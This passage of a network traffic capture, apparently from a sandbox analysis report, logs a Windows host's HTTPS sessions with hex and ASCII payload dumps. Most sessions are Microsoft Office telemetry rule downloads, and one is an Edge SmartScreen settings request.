2024-11-19 23:19:24 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-19 23:19:24 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	62068	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-r1d97b99577sdxndhC1TEBec5n000000083000000000fsa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	62073	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-1777c6cb754j47wfhC1TEB5wrw00000004p0000000005rpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	62075	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-r1d97b99577jlrkbhC1TEBq8d000000007zg000000003urb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	62074	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-185f5d8b95cmd8vfhC1NYC0g4000000005cg000000001e6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	62076	65.52.241.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiQUIrc3ZLUGk5emZDMEppY0FTSkc3Zz09IiwgImhhc2giOiJWYk96NWc2Z2VMST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-19 23:19:25 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-19 23:19:25 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-19 23:19:25 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-19 23:19:25 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-19 23:19:25 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-19 23:19:25 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-19 23:19:25 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-19 23:19:25 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-19 23:19:25 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-19 23:19:25 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	62080	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231925Z-185f5d8b95c96jn4hC1NYCbgp800000009c000000000gc1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	62079	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
